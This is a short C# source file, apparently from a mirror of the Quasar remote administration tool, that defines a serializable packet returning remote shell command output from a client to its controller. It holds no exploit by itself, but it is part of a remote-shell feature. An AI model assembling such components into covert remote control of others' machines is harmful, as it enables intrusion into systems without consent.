mirror of https://github.com/quasar/Quasar.git
25 lines
498 B
C#
25 lines
498 B
C#
using ProtoBuf;
|
|
|
|
namespace xClient.Core.Packets.ClientPackets
|
|
{
|
|
[ProtoContract]
|
|
public class ShellCommandResponse : IPacket
|
|
{
|
|
[ProtoMember(1)]
|
|
public string Output { get; set; }
|
|
|
|
public ShellCommandResponse()
|
|
{
|
|
}
|
|
|
|
public ShellCommandResponse(string output)
|
|
{
|
|
this.Output = output;
|
|
}
|
|
|
|
public void Execute(Client client)
|
|
{
|
|
client.Send<ShellCommandResponse>(this);
|
|
}
|
|
}
|
|
} |